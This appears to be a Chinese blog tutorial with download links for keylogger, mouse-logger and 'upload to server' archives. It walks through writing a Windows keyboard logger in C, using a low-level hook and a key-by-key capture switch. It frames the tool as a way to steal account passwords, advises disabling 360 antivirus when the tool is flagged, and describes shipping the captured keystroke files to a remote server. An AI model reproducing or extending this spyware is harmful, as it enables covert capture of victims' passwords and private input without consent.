键盘记录器.rar: https://url18.ctfile.com/f/7715018-970499959-9eb598?p=6511 (访问密码: 6511)
上传到服务器.rar: https://url18.ctfile.com/f/7715018-970499965-6fca72?p=6511 (访问密码: 6511)
鼠标记录器.rar: https://url18.ctfile.com/f/7715018-970499974-aa72fb?p=6511 (访问密码: 6511)
//：
原创 小白go go go 简易编程网 2023-11-10 08:20 发表于湖北
一、前言
杀毒软件没兴起的时候，很多软件都是不安全的，那时候信息满天飞，盗号非常普遍，其中最有名的就是键盘鼠标记录器了，他通过将用户在电脑上的键盘按键记录下来，从而轻松达到获取个人账户密码的功能，本期我们就来讲讲这个键盘鼠标记录器是如何实现的吧。
二、准备工作
这里我们使用Dev C++来进行代码的编写，它是一个内存占用低且打开快速的一款很好用的开发工具，因为小编电脑配置不高的缘故，因此只能舍弃VS大佬。
三、键盘记录器
通过记录我们在键盘中输入的数据来达到获取密码的目的，我们可以使用钩子来实现，只不过钩子里面的参数是一个回调函数，因此我们先写一个回调函数，如下：
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
//处理内容
}
然后我们记录按下的都是哪些键，如下：
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT *)lParam;
DWORD vkCode = ks->vkCode;
// 监控键盘
switch(vkCode){
case 0x30: case 0x60:
puts("检测到按键：0\n");
break;
case 0x31: case 0x61:
puts("检测到按键：1\n");
break;
case 0x32: case 0x62:
puts("检测到按键：2\n");
break;
case 0x33: case 0x63:
puts("检测到按键：3\n");
break;
case 0x34: case 0x64:
puts("检测到按键：4\n");
break;
case 0x35: case 0x65:
puts("检测到按键：5\n");;
break;
case 0x36: case 0x66:
puts("检测到按键：6\n");
break;
case 0x37: case 0x67:
puts("检测到按键：7\n");
break;
case 0x38: case 0x68:
puts("检测到按键：8\n");
break;
case 0x39: case 0x69:
puts("检测到按键：9\n");
break;
case 0x41:
puts("检测到按键：A\n");
break;
case 0x42:
puts("检测到按键：B\n");
break;
case 0x43:
puts("检测到按键：C\n");
break;
case 0x44:
puts("检测到按键：D\n");
break;
case 0x45:
puts("检测到按键：E\n");
break;
case 0x46:
puts("检测到按键：F\n");
break;
case 0x47:
puts("检测到按键：G\n");
break;
case 0x48:
puts("检测到按键：H\n");
break;
case 0x49:
puts("检测到按键：I\n");
break;
case 0x4A:
puts("检测到按键：J\n");
break;
case 0x4B:
puts("检测到按键：K\n");
break;
case 0x4C:
puts("检测到按键：L\n");
break;
case 0x4D:
puts("检测到按键：M\n");
break;
case 0x4E:
puts("检测到按键：N\n");
break;
case 0x4F:
puts("检测到按键：O\n");
break;
case 0x50:
puts("检测到按键：P\n");
break;
case 0x51:
puts("检测到按键：Q\n");
break;
case 0x52:
puts("检测到按键：R\n");
break;
case 0x53:
puts("检测到按键：S\n");
break;
case 0x54:
puts("检测到按键：T\n");
break;
case 0x55:
puts("检测到按键：U\n");
break;
case 0x56:
puts("检测到按键：V\n");
break;
case 0x57:
puts("检测到按键：W\n");
break;
case 0x58:
puts("检测到按键：X\n");
break;
case 0x59:
puts("检测到按键：Y\n");
break;
case 0x5A:
puts("检测到按键：Z\n");
break;
case 0x0D:
puts("检测到按键：Enter\n");
break;
case 0xA0: case 0xA1:
puts("检测到按键：Shift\n");
break;
case 0x08:
puts("检测到按键：BackSpace\n");
break;
case 0x20:
puts("检测到按键：Space\n");
break;
}
紧接着我们需要把回调函数带入到钩子函数中去，如图：
HHOOK hKeyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
然后使用消息循环，保证系统一直运行，如下：
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
随后就关闭钩子，如下：
UnhookWindowsHookEx(hKeyboardHook);
最后把按下的键写入到文件中去即可。最后结果，如图：
好家伙，360直接报毒，因此这里我们直接关闭360，免得它老是弹窗影响我们心情。
四、鼠标记录器
原理和键盘记录器差不多，只需要钩子监听鼠标行为即可，不过有一点不同的是，如果你监听了鼠标的移动事件，那么结果输出将会非常普遍，因此我们需要给他做个延时，如图;
这里我只设置10毫秒，延时数据不能太大，不然的话，系统会直接卡死。然后我们就可以编译运行鼠标记录器了，如图：
五、上传键盘鼠标记录文件到服务器
当我们将这两个文件记录下来了之后，我们就可以把这两个文件发送到我们指定的服务器上了，如图：
六、结语
键盘鼠标记录器是一个比较基础的黑客技术，它的原理也很简单，就是通过键盘鼠标钩子，当然，钩子还有很多种用法，而且范围比较广泛，比如进程钩子，他可以用来注入进程，详见你不一定全部知道的16种进程注入方法和注入工具(C语言版)，这里就有很详细的通过钩子注入进程的实例。想要获取以上源码的友友还是在公众号后台回复关键词 记录器
。
联系客服
